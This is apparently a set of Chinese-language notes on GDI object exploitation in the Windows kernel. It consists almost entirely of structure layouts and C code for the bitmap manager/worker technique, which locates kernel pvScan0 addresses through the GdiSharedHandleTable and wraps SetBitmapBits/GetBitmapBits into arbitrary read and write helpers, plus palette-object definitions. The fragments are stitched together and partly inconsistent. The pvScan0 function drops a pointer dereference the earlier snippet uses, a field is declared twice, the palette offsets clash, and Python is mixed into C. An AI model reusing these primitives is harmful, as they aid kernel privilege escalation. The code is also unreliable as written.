GDI 对象利用

HBITMAP CreateBitmap(
  [in] int        nWidth,   // 位图宽度，像素为单位
  [in] int        nHeight,  // 位图高度，像素为单位
  [in] UINT       nPlanes,  // 设备使用的颜色位面数
  [in] UINT       nBitCount, // 用来区分单个像素点颜色的位数
  [in] const VOID *lpBits   // 指向颜色数据数组的指针

typedef struct {
  BASEOBJECT64 BaseObject; // 0x00
  SURFOBJ64 SurfObj; // 0x18
  [...]
} SURFACE64;

typedef struct {
  ULONG64 dhsurf; // 0x00
  ULONG64 hsurf; // 0x08
  ULONG64 dhpdev; // 0x10
  ULONG64 hdev; // 0x18
  SIZEL sizlBitmap; // 0x20
  ULONG64 cjBits; // 0x28
  ULONG64 pvBits; // 0x30
  ULONG64 pvScan0; // 0x38
  ULONG32 lDelta; // 0x40
  ULONG32 iUniq; // 0x44
  ULONG32 iBitmapFormat; // 0x48
  USHORT iType; // 0x4C
  USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50

LONG GetBitmapBits(
  [in]  HBITMAP hbit,   // 位图的句柄
  [in]  LONG    cb,     // 要从位图复制到缓冲区的字节数
  [out] LPVOID  lpvBits // 指向缓冲区的指针
);

LONG SetBitmapBits(
  [in] HBITMAP    hbm,    // 位图的句柄
  [in] DWORD      cb,     // 指定参数lpBits指向的数组的字节数
  [in] const VOID *pvBits // 指向包含指定位图颜色数据的字节数组的指针
);

typedef struct _GDI_CELL{
  PVOID64 pKernelAddress; // 0x00
  USHORT wProcessId; // 0x08
  USHORT wCount; // 0x0a
  USHORT wUpper; // 0x0c
  USHORT wType; // 0x0e
  PVOID64 pUserAddress; // 0x10
} GDICELL64; // sizeof = 0x18

DWORD64 tebAddr = NtCurrentTeb();

DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);

DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);

DWORD64 pKernelAddress = gdiSharedHandleTableAddr  + ((DWORD64) hBitmap & 0xffff) * 0x18;

DWORD64 surfObj = *(PDWORD64)pKernelAddress +0x18;

DWORD64 pvScan0Addr = surfObj + 0x38;

#include <stdio.h>
#include <Windows.h>

DWORD64 GetpvScan0Addr(HBITMAP hBitmap)
{
  DWORD64 tebAddr = NtCurrentTeb();
  DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
  DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
  DWORD64 pKernelAddress = gdiSharedHandleTableAddr + ((DWORD64)hBitmap & 0xffff) * 0x18;
  DWORD64 surfObj = pKernelAddress + 0x18;
  DWORD64 pvScan0Addr = surfObj + 0x38;
  return pvScan0Addr;
}

VOID ReadOOB(HBITMAP hManager,HBITMAP hWorker,DWORD64 writeAddr, LPVOID readValue, int len)
{
  SetBitmapBits(hManager,len,&writeAddr);
  GetBitmapBits(hWorker, len, readValue);
}

VOID WriteOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 writeAddr, LPVOID writeValue, int len)
{
  SetBitmapBits(hManager, len, &writeAddr);
  SetBitmapBits(hWorker, len, writeValue);
}

int main()
{
  HBITMAP hManager = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
  HBITMAP hWorker = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
  DWORD64 hManager_pvScan0 = GetpvScan0Addr(hManager);
  DWORD64 hWorker_pvScan0 = GetpvScan0Addr(hWorker);
}

typedef struct _SHAREDINFO{   PSERVERINFO  psi;  PHANDLEENTRY aheList;  ULONG_PTR    HeEntrySize;  PDISPLAYINFO pDisplayInfo;  ULONG_PTR    ulSharedDelta;  WNDMSG       awmControl[27];  WNDMSG       awmControl[31];  WNDMSG       DefWindowMsgs;  WNDMSG       DefWindowSpecMsgs;} SHAREDINFO, *PSHAREDINFO;

typedef struct _USER_HANDLE_ENTRY {    void* pKernel;    union    {        PVOID pi;        PVOID pti;        PVOID ppi;    };    BYTE type;    BYTE flags;    WORD generation;} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;

typedef struct _PALETTE64{    BASEOBJECT64      BaseObject;    // 0x00    FLONG           flPal;         // 0x18    ULONG32           cEntries;      // 0x1C    ULONG32           ulTime;        // 0x20     HDC             hdcHead;       // 0x24    ULONG64        hSelected;     // 0x28,     ULONG64           cRefhpal;      // 0x30    ULONG64          cRefRegular;   // 0x34    ULONG64      ptransFore;    // 0x3c    ULONG64      ptransCurrent; // 0x44    ULONG64      ptransOld;     // 0x4C    ULONG32           unk_038;       // 0x38    ULONG64         pfnGetNearest; // 0x3c    ULONG64   pfnGetMatch;   // 0x40    ULONG64           ulRGBTime;     // 0x44    ULONG64       pRGBXlate;     // 0x48    PALETTEENTRY    *pFirstColor;  // 0x80    struct _PALETTE *ppalThis;     // 0x88    PALETTEENTRY    apalColors[3]; // 0x90}

class PALETTEENTRY(Structure): _fields_ = [  ("peRed", BYTE),  ("peGreen", BYTE),  ("peBlue", BYTE),  ("peFlags", BYTE) ]

HPALETTE CreatePalette(  [in] const LOGPALETTE *plpal);

typedef struct tagLOGPALETTE {  WORD         palVersion;     // 0x300  WORD         palNumEntries;  //  palNumEntries = (size-0x90)/4  PALETTEENTRY palPalEntry[1];} LOGPALETTE, *PLOGPALETTE, *NPLOGPALETTE, *LPLOGPALETTE;

UINT GetPaletteEntries(  [in]  HPALETTE       hpal,        // palette 句柄  [in]  UINT           iStart,      // 要提取的逻辑调色板中的第一项  [in]  UINT           cEntries,    // 要提取的逻辑调色板中的项数  [out] LPPALETTEENTRY pPalEntries  // 接受调色项目的PALETTEENTRY结构数组的指针，该数组所含结构的数目至少为nEntries参数指定的数目);

UINT SetPaletteEntries(  [in] HPALETTE           hpal,        // palette 句柄  [in] UINT               iStart,      // 要设置的逻辑调色板中的第一项  [in] UINT               cEntries,    // 要设置的逻辑调色板中的项数  [in] const PALETTEENTRY *pPalEntries // 指向包含RGB值和标志的PALETTEENTRY结构数组的第一个元素);